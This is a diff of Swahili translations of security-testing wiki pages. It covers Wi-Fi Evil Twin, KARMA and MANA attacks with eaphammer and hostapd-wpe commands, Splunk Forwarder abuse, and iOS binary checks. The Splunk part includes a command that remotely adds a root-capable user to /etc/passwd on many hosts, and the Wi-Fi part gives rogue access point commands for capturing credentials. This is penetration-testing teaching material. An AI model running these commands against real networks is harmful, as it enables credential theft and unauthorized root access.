@ -512,13 +512,13 @@ Au kutumia Airgeddon: `Options: 5,6,7,8,9 (ndani ya menyu ya shambulio la Evil T
![](<../../images/image (1088).png>)
Tafadhali, zingatia kwamba kwa kawaida ikiwa ESSID katika PNL imehifadhiwa kama iliyo na ulinzi wa WPA, kifaa hakitaji kuungana moja kwa moja na Evil Twin wazi. Unaweza kujaribu DoS AP halisi na kutumaini kwamba mtumiaji ataungana kwa mikono na Evil Twin yako wazi, au unaweza DoS AP halisi na kutumia WPA Evil Twin ili kukamata handshake (ukitumia njia hii huwezi kumruhusu mwathirika kuungana na wewe kwani hujui PSK, lakini unaweza kukamata handshake na kujaribu kuikata).
Tafadhali, zingatia kwamba kwa kawaida ikiwa ESSID katika PNL imehifadhiwa kama iliyo na ulinzi wa WPA, kifaa hakitaji kuungana moja kwa moja na Evil Twin ya wazi. Unaweza kujaribu DoS AP halisi na kutumaini kwamba mtumiaji ataungana kwa mikono na Evil Twin yako ya wazi, au unaweza DoS AP halisi na kutumia WPA Evil Twin ili kukamata handshake (ukitumia njia hii huwezi kumruhusu mwathirika kuungana na wewe kwani hujui PSK, lakini unaweza kukamata handshake na kujaribu kuikata).
_Some OS and AV will warn the user that connect to an Open network is dangerous..._
### WPA/WPA2 Evil Twin
Unaweza kuunda **Evil Twin kwa kutumia WPA/2** na ikiwa vifaa vimewekwa kuungana na SSID hiyo kwa WPA/2, vitajaribu kuungana. Hata hivyo, **kukamilisha handshake ya njia 4** unahitaji pia **kujua** **nenosiri** ambalo mteja atatumia. Ikiwa **hujui** hilo, **unganisho halitakamilika**.
Unaweza kuunda **Evil Twin kwa kutumia WPA/2** na ikiwa vifaa vimewekwa kuungana na SSID hiyo kwa WPA/2, vitajaribu kuungana. Kwa njia yoyote, **kukamilisha handshake ya njia 4** unahitaji pia **kujua** **nenosiri** ambalo mteja atatumia. Ikiwa **hujui** hilo, **kuungana hakutakamilika**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -528,7 +528,7 @@ Ili kuelewa mashambulizi haya, ningependekeza usome kabla ya muhtasari [WPA Ente
**Kutumia hostapd-wpe**
`hostapd-wpe` inahitaji **faili ya usanidi** ili kufanya kazi. Ili **kujiandaa** kuzalisha usanidi huu unaweza kutumia [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (pakua faili ya python ndani ya _/etc/hostapd-wpe/_).
`hostapd-wpe` inahitaji **configuration** file ili kufanya kazi. Ili **automate** uzalishaji wa hizi configurations unaweza kutumia [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (pakua faili ya python ndani ya _/etc/hostapd-wpe/_).
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
@ -556,28 +556,28 @@ Hii ni mbinu ya default ili kuepuka muda mrefu wa kuungana. Hata hivyo, unaweza
Au unaweza pia kutumia:
- `--negotiate gtc-downgrade` kutumia utekelezaji wa GTC downgrade wenye ufanisi mkubwa (nywila za maandiko)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` kubainisha kwa mikono mbinu zinazotolewa (kutoa mbinu sawa za uthibitishaji katika mpangilio sawa na shirika kutafanya shambulizi kuwa ngumu zaidi kugundua).
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` kubainisha kwa mikono mbinu zinazotolewa (kutoa mbinu sawa za uthibitishaji kwa mpangilio sawa na shirika, shambulio litakuwa gumu zaidi kugundua).
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Kutumia Airgeddon**
`Airgeddon` inaweza kutumia vyeti vilivyotengenezwa awali kutoa uthibitishaji wa EAP kwa mitandao ya WPA/WPA2-Enterprise. Mtandao wa uwongo utaweka chini itifaki ya muunganisho hadi EAP-MD5 ili uweze **kukamata mtumiaji na MD5 ya nywila**. Baadaye, mshambuliaji anaweza kujaribu kuvunja nywila.\
`Airgeddon` inakupa uwezekano wa **shambulizi la kuendelea la Evil Twin (kelele)** au **kuunda tu Shambulizi la Evil hadi mtu aungane (laini).**
`Airgeddon` inakupa uwezekano wa **shambulio la kuendelea la Evil Twin (kelele)** au **kuunda tu Shambulio la Evil hadi mtu aungane (laini).**
![](<../../images/image (936).png>)
### Kurekebisha PEAP na EAP-TTLS TLS tunnels katika shambulizi za Evil Twins
### Kurekebisha PEAP na EAP-TTLS TLS tunnels katika shambulio la Evil Twins
_Metodu hii ilijaribiwa katika muunganisho wa PEAP lakini kwa kuwa ninakandamiza tunnel ya TLS isiyo ya kawaida hii inapaswa pia kufanya kazi na EAP-TTLS_
_Njia hii ilijaribiwa katika muunganisho wa PEAP lakini kwa kuwa ninakandamiza tunnel ya TLS isiyo ya kawaida, hii inapaswa pia kufanya kazi na EAP-TTLS_
Ndani ya **mipangilio** ya _hostapd-wpe_ **toa maoni** mstari unao na _**dh_file**_ (kutoka `dh_file=/etc/hostapd-wpe/certs/dh` hadi `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Hii itafanya `hostapd-wpe` **kubadilishana funguo kwa kutumia RSA** badala ya DH, hivyo utaweza **kufungua** trafiki baadaye **ukijua funguo ya faragha ya seva**.
Hii itafanya `hostapd-wpe` **kubadilishana funguo kwa kutumia RSA** badala ya DH, hivyo utaweza **kufungua** trafiki baadaye **ukijua funguo binafsi za seva**.
Sasa anzisha **Evil Twin** ukitumia **`hostapd-wpe`** na mipangilio hiyo iliyobadilishwa kama kawaida. Pia, anzisha **`wireshark`** katika **kiunganishi** ambacho kinatekeleza shambulizi la Evil Twin.
Sasa anzisha **Evil Twin** ukitumia **`hostapd-wpe`** na mipangilio hiyo iliyobadilishwa kama kawaida. Pia, anzisha **`wireshark`** katika **kiunganishi** ambacho kinatekeleza shambulio la Evil Twin.
Sasa au baadaye (wakati tayari umekamata baadhi ya nia za uthibitishaji) unaweza kuongeza funguo ya faragha ya RSA kwenye wireshark katika: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Sasa au baadaye (wakati tayari umekamata baadhi ya nia za uthibitishaji) unaweza kuongeza funguo binafsi za RSA kwenye wireshark katika: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Ongeza kipengele kipya na jaza fomu hii: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**chagua faili yako ya funguo**, ili kuepuka matatizo chagua faili ya funguo **isiyo na ulinzi wa nywila**).
Ongeza kipengele kipya na jaza fomu hii na thamani hizi: **IP address = yoyote** -- **Port = 0** -- **Protocol = data** -- **Key File** (**chagua faili yako ya funguo**, ili kuepuka matatizo chagua faili ya funguo **bila kuwa na ulinzi wa nywila**).
![](<../../images/image (687).png>)
@ -585,20 +585,20 @@ Na angalia **"Decrypted TLS" tab** mpya:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA na shambulizi la beacon zinazojulikana
## KARMA, MANA, Loud MANA na shambulio la beacons zinazojulikana
### Orodha za nyeusi/nyeupe za ESSID na MAC
Aina tofauti za Orodha za Kichujio cha Upatikanaji wa Vyombo vya Habari (MFACLs) na njia zao zinazohusiana na athari kwenye tabia ya Kituo cha Upatikanaji (AP) kisicho halali:
Aina tofauti za Orodha za Filter za Udhibiti wa Ufikiaji wa Vyombo (MFACLs) na njia zao zinazohusiana na athari kwenye tabia ya Kituo cha Ufikiaji (AP) kisicho halali:
1. **Orodha ya Nyeupe ya MAC**:
- AP kisicho halali kitajibu tu maombi ya uchunguzi kutoka kwa vifaa vilivyotajwa kwenye orodha ya nyeupe, kikiwa kisichoonekana kwa wengine wote ambao hawajatajwa.
2. **Orodha ya Nyeusi ya MAC**:
- AP kisicho halali kitapuuzilia mbali maombi ya uchunguzi kutoka kwa vifaa vilivyoko kwenye orodha ya nyeusi, hivyo kufanya AP kisicho halali kuwa kisichoonekana kwa vifaa maalum.
- AP kisicho halali kitapuuzilia mbali maombi ya uchunguzi kutoka kwa vifaa vilivyoko kwenye orodha ya nyeusi, hivyo kufanya AP kisicho halali kisionekane kwa vifaa hivyo maalum.
3. **Orodha ya Nyeupe ya SSID**:
- AP kisicho halali kitajibu tu maombi ya uchunguzi kwa ESSIDs maalum zilizoorodheshwa, hivyo kuwa kisichoonekana kwa vifaa ambavyo Orodha zao za Mitandao ya Kichaguo (PNLs) hazina ESSIDs hizo.
- AP kisicho halali kitajibu tu maombi ya uchunguzi kwa ESSIDs maalum zilizoorodheshwa, hivyo kufanya kisionekane kwa vifaa ambavyo Orodha zao za Mitandao ya Kichaguo (PNLs) hazina ESSIDs hizo.
4. **Orodha ya Nyeusi ya SSID**:
- AP kisicho halali hakitajibu maombi ya uchunguzi kwa ESSIDs maalum kwenye orodha ya nyeusi, hivyo kuwa kisichoonekana kwa vifaa vinavyotafuta mitandao hiyo maalum.
- AP kisicho halali hakitajibu maombi ya uchunguzi kwa ESSIDs maalum kwenye orodha ya nyeusi, hivyo kufanya kisionekane kwa vifaa vinavyotafuta mitandao hiyo maalum.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -620,25 +620,25 @@ name3
```
### KARMA
Hii mbinu inaruhusu **mshambuliaji kuunda pointi ya ufikiaji mbaya (AP) inayojibu maombi yote ya uchunguzi** kutoka kwa vifaa vinavyotafuta kuungana na mitandao. Mbinu hii **inawadanganya vifaa kuungana na AP ya mshambuliaji** kwa kuiga mitandao ambayo vifaa vinatafuta. Mara tu kifaa kinapotuma ombi la kuungana na AP hii ya uhalifu, kinakamilisha muunganisho, na kusababisha kifaa kuungana kwa makosa na mtandao wa mshambuliaji.
Hii mbinu inaruhusu **mshambuliaji kuunda pointi ya ufikiaji mbaya (AP) inayojibu maombi yote ya uchunguzi** kutoka kwa vifaa vinavyotafuta kuungana na mitandao. Mbinu hii **inawadanganya vifaa kuungana na AP ya mshambuliaji** kwa kuiga mitandao ambayo vifaa vinatafuta. Mara tu kifaa kinapotuma ombi la kuungana na AP hii mbaya, kinakamilisha muunganisho, na kusababisha kifaa kuungana kwa makosa na mtandao wa mshambuliaji.
### MANA
Kisha, **vifaa vilianza kupuuza majibu ya mitandao yasiyoombwa**, kupunguza ufanisi wa shambulio la awali la karma. Hata hivyo, mbinu mpya, inayojulikana kama **shambulio la MANA**, ilianzishwa na Ian de Villiers na Dominic White. Mbinu hii inahusisha AP ya uhalifu **kukamata Orodha za Mitandao ya Kichaguo (PNL) kutoka kwa vifaa kwa kujibu maombi yao ya uchunguzi wa matangazo** kwa majina ya mitandao (SSIDs) ambayo yalikuwa yameombwa awali na vifaa. Shambulio hili la kisasa linapita ulinzi dhidi ya shambulio la awali la karma kwa kutumia njia ambayo vifaa vinakumbuka na kuipa kipaumbele mitandao inayojulikana.
Kisha, **vifaa vilianza kupuuza majibu yasiyo thabiti ya mtandao**, kupunguza ufanisi wa shambulio la awali la karma. Hata hivyo, mbinu mpya, inayojulikana kama **shambulio la MANA**, ilianzishwa na Ian de Villiers na Dominic White. Mbinu hii inahusisha AP mbaya **kukamata Orodha za Mitandao Iliyochaguliwa (PNL) kutoka kwa vifaa kwa kujibu maombi yao ya uchunguzi wa matangazo** kwa majina ya mitandao (SSIDs) ambayo yalikuwa thabiti hapo awali na vifaa. Shambulio hili la kisasa linapita ulinzi dhidi ya shambulio la awali la karma kwa kutumia njia ambayo vifaa vinakumbuka na kuipa kipaumbele mitandao inayojulikana.
Shambulio la MANA linafanya kazi kwa kufuatilia maombi ya uchunguzi yaliyolengwa na matangazo kutoka kwa vifaa. Kwa maombi yaliyolengwa, linaandika anwani ya MAC ya kifaa na jina la mtandao lililoombwa, na kuongeza habari hii kwenye orodha. Wakati ombi la matangazo linapopokelewa, AP inajibu kwa habari inayolingana na mitandao yoyote kwenye orodha ya kifaa, ikivutia kifaa kuungana na AP ya uhalifu.
Shambulio la MANA linafanya kazi kwa kufuatilia maombi ya uchunguzi yaliyolengwa na ya matangazo kutoka kwa vifaa. Kwa maombi yaliyolengwa, linaandika anwani ya MAC ya kifaa na jina la mtandao lililoombwa, na kuongeza habari hii kwenye orodha. Wakati ombi la matangazo linapopokelewa, AP inajibu kwa habari inayolingana na mitandao yoyote kwenye orodha ya kifaa, ikivutia kifaa kuungana na AP mbaya.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
A **Loud MANA attack** ni mkakati wa hali ya juu kwa wakati ambapo vifaa havitumii uchunguzi wa moja kwa moja au wakati Orodha zao za Mtandao Zinazopendekezwa (PNL) hazijulikani kwa mshambuliaji. Inafanya kazi kwa kanuni kwamba **vifaa katika eneo moja vina uwezekano wa kushiriki majina fulani ya mtandao katika PNL zao**. Badala ya kujibu kwa kuchagua, shambulio hili linatangaza majibu ya uchunguzi kwa kila jina la mtandao (ESSID) lililopatikana katika PNL zilizochanganywa za vifaa vyote vilivyoangaliwa. Njia hii pana inaongeza nafasi ya kifaa kutambua mtandao wa kawaida na kujaribu kuungana na Ndugu ya Upatikanaji (AP).
A **Loud MANA attack** ni mkakati wa hali ya juu kwa wakati ambapo vifaa havitumii uchunguzi ulioelekezwa au wakati Orodha zao za Mitandao ya Kichaguo (PNL) hazijulikani kwa mshambuliaji. Inafanya kazi kwa kanuni kwamba **vifaa katika eneo moja vina uwezekano wa kushiriki majina fulani ya mtandao katika PNL zao**. Badala ya kujibu kwa kuchagua, shambulio hili linatangaza majibu ya uchunguzi kwa kila jina la mtandao (ESSID) lililopatikana katika PNL zilizochanganywa za vifaa vyote vilivyoangaliwa. Njia hii pana inaongeza nafasi ya kifaa kutambua mtandao wa kawaida na kujaribu kuungana na Kituo cha Upatikanaji (AP) kisicho halali.
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Wakati **Loud MANA attack** inaweza isitoshe, **Known Beacon attack** inatoa njia nyingine. Njia hii **inatumia nguvu za kuungana kwa kuiga AP inayojibu jina lolote la mtandao, ikizunguka kwenye orodha ya ESSIDs zinazowezekana** zilizotokana na orodha ya maneno. Hii inaiga uwepo wa mitandao mingi, ikitumaini kufanana na ESSID ndani ya PNL ya mwathirika, ikichochea jaribio la kuungana na AP iliyoundwa. Shambulio linaweza kuimarishwa kwa kulinganisha na chaguo la `--loud` kwa jaribio kali zaidi la kuwakamata vifaa.
Wakati **Loud MANA attack** inaweza kutosha, **Known Beacon attack** inatoa njia nyingine. Njia hii **inatumia nguvu za kikatili katika mchakato wa kuungana kwa kuiga AP inayojibu jina lolote la mtandao, ikizunguka orodha ya ESSIDs zinazowezekana** zilizotokana na orodha ya maneno. Hii inaiga uwepo wa mitandao mingi, ikitumaini kufanana na ESSID ndani ya PNL ya mwathirika, ikichochea jaribio la kuungana na AP iliyoundwa. Shambulio linaweza kuimarishwa kwa kulinganisha na chaguo la `--loud` kwa jaribio kali zaidi la kuwakamata vifaa.
Eaphammer ilitekeleza shambulio hili kama shambulio la MANA ambapo ESSIDs zote ndani ya orodha zinachajiwa (unaweza pia kuunganisha hii na `--loud` ili kuunda shambulio la Loud MANA + Known beacons):
```bash
@ -646,7 +646,7 @@ Eaphammer ilitekeleza shambulio hili kama shambulio la MANA ambapo ESSIDs zote n
```
**Known Beacon Burst attack**
Shambulio la **Known Beacon Burst** linahusisha **kupeleka kwa haraka mifumo ya beacon kwa kila ESSID iliyoorodheshwa katika faili**. Hii inaunda mazingira yenye msongamano wa mitandao ya uwongo, ikiongeza sana uwezekano wa vifaa kuungana na AP ya uasi, hasa inapounganishwa na shambulio la MANA. Mbinu hii inatumia kasi na kiasi kuishinda mitambo ya uchaguzi wa mtandao ya vifaa.
Shambulio la **Known Beacon Burst** linahusisha **kupeleka kwa haraka fremu za beacon kwa kila ESSID iliyoorodheshwa katika faili**. Hii inaunda mazingira yenye msongamano wa mitandao ya uwongo, ikiongeza sana uwezekano wa vifaa kuungana na AP ya uasi, hasa inapounganishwa na shambulio la MANA. Mbinu hii inatumia kasi na kiasi kuishinda mitambo ya uchaguzi wa mtandao ya vifaa.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -657,7 +657,7 @@ Shambulio la **Known Beacon Burst** linahusisha **kupeleka kwa haraka mifumo ya
```
## Wi-Fi Direct
**Wi-Fi Direct** ni protokali inayowezesha vifaa kuungana moja kwa moja na kila mmoja kwa kutumia Wi-Fi bila haja ya kituo cha kawaida cha wireless. Uwezo huu umejumuishwa katika vifaa mbalimbali vya Internet of Things (IoT), kama vile printa na televisheni, na kuwezesha mawasiliano ya moja kwa moja kati ya vifaa. Kipengele muhimu cha Wi-Fi Direct ni kwamba kifaa kimoja kinachukua jukumu la kituo cha ufikiaji, kinachojulikana kama mmiliki wa kundi, ili kudhibiti muunganisho.
**Wi-Fi Direct** ni protokali inayowezesha vifaa kuungana moja kwa moja bila kutumia kituo cha kawaida cha wireless. Uwezo huu umejumuishwa katika vifaa mbalimbali vya Internet of Things (IoT), kama vile printa na televisheni, na kuwezesha mawasiliano ya moja kwa moja kati ya vifaa. Kipengele muhimu cha Wi-Fi Direct ni kwamba kifaa kimoja kinachukua jukumu la kituo cha ufikiaji, kinachojulikana kama mmiliki wa kundi, ili kudhibiti muunganisho.
Usalama wa muunganisho wa Wi-Fi Direct unapatikana kupitia **Wi-Fi Protected Setup (WPS)**, ambayo inasaidia mbinu kadhaa za kuunganishwa salama, ikiwa ni pamoja na:
@ -665,7 +665,7 @@ Usalama wa muunganisho wa Wi-Fi Direct unapatikana kupitia **Wi-Fi Protected Set
- **PIN entry**
- **Near-Field Communication (NFC)**
Mbinu hizi, hasa PIN entry, zinaweza kuwa na udhaifu sawa na WPS katika mitandao ya Wi-Fi ya kawaida, na kuzifanya kuwa malengo ya mbinu sawa za shambulio.
Mbinu hizi, hasa PIN entry, zinaweza kuwa na udhaifu sawa na WPS katika mitandao ya Wi-Fi ya jadi, na kuzifanya kuwa malengo ya mbinu sawa za shambulio.
### EvilDirect Hijacking

View File

@ -2,46 +2,46 @@
{{#include ../../banners/hacktricks-training.md}}
Ikiwa **unapofanya hesabu** ya mashine **ndani** au **nje** unakuta **Splunk inafanya kazi** (port 8090), ikiwa kwa bahati unajua **akili halali** unaweza **kutumia huduma ya Splunk** ili **kufanya shell** kama mtumiaji anayekimbia Splunk. Ikiwa root inafanya kazi, unaweza kuongeza mamlaka hadi root.
Ikiwa **unapofanya orodha** ya mashine **ndani** au **nje** unakuta **Splunk inafanya kazi** (bandari 8090), ikiwa kwa bahati unajua **akili halali** unaweza **kutumia huduma ya Splunk** ili **kufanya shell** kama mtumiaji anayekimbia Splunk. Ikiwa root inafanya kazi, unaweza kuongeza mamlaka hadi root.
Pia ikiwa wewe ni **tayari root na huduma ya Splunk haisikii tu kwenye localhost**, unaweza **kuiba** faili ya **nenosiri** **kutoka** huduma ya Splunk na **kuvunja** nenosiri, au **kuongeza** akili mpya kwake. Na kudumisha uendelevu kwenye mwenyeji.
Pia ikiwa wewe ni **tayari root na huduma ya Splunk haisikii tu kwenye localhost**, unaweza **kuiba** faili ya **nenosiri** **kutoka** kwa huduma ya Splunk na **kufungua** nenosiri, au **kuongeza** akili mpya kwake. Na kudumisha uendelevu kwenye mwenyeji.
Katika picha ya kwanza hapa chini unaweza kuona jinsi ukurasa wa Splunkd unavyoonekana.
## Muhtasari wa Ulaghai wa Agent wa Splunk Universal Forwarder
## Muhtasari wa Ulaghai wa Splunk Universal Forwarder Agent
Kwa maelezo zaidi angalia chapisho [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Hii ni muhtasari tu:
**Muonekano wa Ulaghai:**
Ulaghai unaolenga Agent wa Splunk Universal Forwarder (UF) unaruhusu washambuliaji wenye nenosiri la agent kutekeleza msimbo wowote kwenye mifumo inayokimbia agent, ambayo inaweza kuhatarisha mtandao mzima.
Ulaghai unaolenga Splunk Universal Forwarder Agent (UF) unaruhusu washambuliaji wenye nenosiri la wakala kutekeleza msimbo wowote kwenye mifumo inayokimbia wakala, ambayo inaweza kuhatarisha mtandao mzima.
**Mambo Muhimu:**
- Agent wa UF hauhakiki muunganisho unaokuja au uhalali wa msimbo, hivyo unakuwa hatarini kwa utekelezaji wa msimbo usioidhinishwa.
- Njia za kawaida za kupata nenosiri ni pamoja na kuzitafuta kwenye directories za mtandao, kushiriki faili, au nyaraka za ndani.
- Ulaghai uliofanikiwa unaweza kusababisha ufikiaji wa kiwango cha SYSTEM au root kwenye wenyeji walioathirika, uhamasishaji wa data, na kuingia zaidi kwenye mtandao.
- Wakala wa UF hauhakiki muunganisho unaokuja au uhalali wa msimbo, hivyo unafanya kuwa hatarini kwa utekelezaji wa msimbo usioidhinishwa.
- Njia za kawaida za kupata nenosiri ni pamoja na kuzitafuta katika directories za mtandao, kushiriki faili, au nyaraka za ndani.
- Ulaghai uliofanikiwa unaweza kusababisha ufikiaji wa kiwango cha SYSTEM au root kwenye mwenyeji walioathirika, uhamasishaji wa data, na kuingia zaidi kwenye mtandao.
**Utekelezaji wa Ulaghai:**
1. Mshambuliaji anapata nenosiri la agent wa UF.
2. Anatumia API ya Splunk kutuma amri au skripti kwa mawakala.
3. Vitendo vinavyowezekana ni pamoja na uchimbaji wa faili, usimamizi wa akaunti za watumiaji, na kuathiri mfumo.
1. Mshambuliaji anapata nenosiri la wakala wa UF.
2. Anatumia API ya Splunk kutuma amri au skripti kwa wakala.
3. Vitendo vinavyowezekana ni pamoja na uchimbaji wa faili, usimamizi wa akaunti za mtumiaji, na kuathiri mfumo.
**Athari:**
- Kuathiri mtandao mzima kwa ruhusa za kiwango cha SYSTEM/root kwenye kila mwenyeji.
- Uwezekano wa kuzima logging ili kuepuka kugunduliwa.
- Usanidi wa backdoors au ransomware.
- Uwezekano wa kuzima uandishi wa kumbukumbu ili kuepuka kugunduliwa.
- Usanidi wa milango ya nyuma au ransomware.
**Amri ya Mfano kwa Ulaghai:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Matumizi ya umma ya exploits:**
**Matukio ya umma yanayoweza kutumika:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Kutumia Maswali ya Splunk

View File

@ -20,34 +20,34 @@ ios-testing-environment.md
### Basic iOS Testing Operations
Wakati wa kupima **operesheni kadhaa zitapendekezwa** (unganisho na kifaa, kusoma/kandika/kuhamasisha/kuhamasisha faili, kutumia zana kadhaa...). Hivyo, ikiwa hujui jinsi ya kufanya mojawapo ya vitendo hivi tafadhali, **anza kusoma ukurasa**:
Wakati wa kupima **operesheni kadhaa zitapendekezwa** (unganisho na kifaa, kusoma/kandika/kupload/download faili, kutumia zana kadhaa...). Hivyo, ikiwa hujui jinsi ya kufanya mojawapo ya hatua hizi tafadhali, **anza kusoma ukurasa**:
{{#ref}}
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> [!TIP]
> Kwa hatua zinazofuata **programu inapaswa kuwa imewekwa** kwenye kifaa na inapaswa kuwa tayari imepata **IPA file** ya programu.\
> Soma ukurasa wa [Basic iOS Testing Operations](basic-ios-testing-operations.md) kujifunza jinsi ya kufanya hivyo.
### Basic Static Analysis
Baadhi ya decompilers za kuvutia za iOS - IPA files:
Baadhi ya decompilers za iOS - IPA files zinazovutia:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
Inapendekezwa kutumia zana [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) kufanya Uchambuzi wa Kawaida wa moja kwa moja kwa faili la IPA.
Utambuzi wa **ulinzi ulio katika binary**:
- **PIE (Position Independent Executable)**: Wakati umewezeshwa, programu inachukuliwa kwenye anwani ya kumbukumbu ya nasibu kila wakati inapoanzishwa, na kufanya kuwa ngumu kutabiri anwani yake ya awali ya kumbukumbu.
- **PIE (Position Independent Executable)**: Wakati umewezeshwa, programu inaload kwenye anwani ya kumbukumbu isiyo ya kawaida kila wakati inapoanzishwa, na kufanya kuwa vigumu kutabiri anwani yake ya awali ya kumbukumbu.
```bash
otool -hv <app-binary> | grep PIE # Inapaswa kujumuisha bendera ya PIE
```
- **Stack Canaries**: Ili kuthibitisha uadilifu wa stack, thamani ya 'canary' inawekwa kwenye stack kabla ya kuita kazi na inathibitishwa tena mara kazi inapoisha.
- **Stack Canaries**: Ili kuthibitisha uhalali wa stack, thamani ya canary inawekwa kwenye stack kabla ya kuita kazi na inathibitishwa tena mara kazi inapoisha.
```bash
otool -I -v <app-binary> | grep stack_chk # Inapaswa kujumuisha alama: stack_chk_guard na stack_chk_fail
@ -65,7 +65,7 @@ otool -I -v <app-binary> | grep objc_release # Inapaswa kujumuisha alama ya _o
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Cryptid inapaswa kuwa 1
```
**Utambuzi wa Kazi Nyeti/Zisizo Salama**
**Utambuzi wa Kazi za Nyeti/Zisizo Salama**
- **Weak Hashing Algorithms**
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
Angalia uchambuzi wa dynamic ambao [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) unafanya. Utahitaji kuzunguka kupitia maoni tofauti na kuingiliana nayo lakini itakuwa ikihook baadhi ya madarasa wakati wa kufanya mambo mengine na itatayarisha ripoti mara utakapokamilisha.
Angalia uchambuzi wa dynamic ambao [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) unafanya. Utahitaji kuzunguka kupitia maoni tofauti na kuingiliana nayo lakini itakuwa ikihook baadhi ya madarasa wakati wa kufanya mambo mengine na itatayarisha ripoti mara umemaliza.
### Listing Installed Apps
@ -154,7 +154,7 @@ PID Name Identifier
```
### Msingi wa Uhesabu & Kuunganisha
Jifunze jinsi ya **kuhesabu vipengele vya programu** na jinsi ya kwa urahisi **kuunganisha mbinu na madarasa** kwa kutumia objection:
Jifunze jinsi ya **kuhesabu vipengele vya programu** na jinsi ya **kuunganisha mbinu na madarasa** kwa kutumia objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,25 +162,25 @@ ios-hooking-with-objection.md
### Muundo wa IPA
Muundo wa **faili ya IPA** kimsingi ni sawa na **kifurushi kilichozungushwa**. Kwa kubadilisha kiambatisho chake kuwa `.zip`, inaweza **kufunguliwa** ili kuonyesha yaliyomo. Ndani ya muundo huu, **Bundle** inawakilisha programu iliyopakiwa kikamilifu tayari kwa usakinishaji. Ndani, utapata directory inayoitwa `<NAME>.app`, ambayo inajumuisha rasilimali za programu.
Muundo wa **faili ya IPA** kimsingi ni sawa na **kifurushi kilichozungushwa**. Kwa kubadilisha kiendelezi chake kuwa `.zip`, inaweza **kufunguliwa** ili kuonyesha yaliyomo. Ndani ya muundo huu, **Bundle** inawakilisha programu iliyopakiwa kikamilifu tayari kwa usakinishaji. Ndani, utaona directory inayoitwa `<NAME>.app`, ambayo inajumuisha rasilimali za programu.
- **`Info.plist`**: Faili hii ina maelezo maalum ya usanidi wa programu.
- **`_CodeSignature/`**: Hii ni directory inayojumuisha faili ya plist ambayo ina saini, kuhakikisha uadilifu wa faili zote ndani ya bundle.
- **`Assets.car`**: Hifadhi iliyoshinikizwa inayohifadhi faili za mali kama ikoni.
- **`Assets.car`**: Archive iliyoshinikizwa inayohifadhi faili za mali kama ikoni.
- **`Frameworks/`**: Folda hii ina maktaba asilia za programu, ambazo zinaweza kuwa katika mfumo wa faili za `.dylib` au `.framework`.
- **`PlugIns/`**: Hii inaweza kujumuisha nyongeza kwa programu, inayojulikana kama faili za `.appex`, ingawa hazipo kila wakati. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Inatumika kuhifadhi data ya kudumu ya programu yako kwa matumizi ya mtandaoni, kuhifadhi data ya muda, na kuongeza uwezo wa kufuta kwenye programu yako kwenye kifaa kimoja. Ili kusawazisha data kati ya vifaa vingi katika akaunti moja ya iCloud, Core Data inakidhi moja kwa moja muundo wako kwenye kontena la CloudKit.
- **`PlugIns/`**: Hii inaweza kujumuisha nyongeza kwa programu, inayojulikana kama faili za `.appex`, ingawa hazipo kila wakati. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Inatumika kuhifadhi data ya kudumu ya programu yako kwa matumizi ya mtandaoni, kuhifadhi data ya muda, na kuongeza uwezo wa kufuta kwenye programu yako kwenye kifaa kimoja. Ili kusawazisha data kati ya vifaa vingi katika akaunti moja ya iCloud, Core Data inakidhi kiotomatiki muundo wako kwenye kontena la CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Faili ya `PkgInfo` ni njia mbadala ya kubainisha aina na nambari za muundaji wa programu yako au bundle.
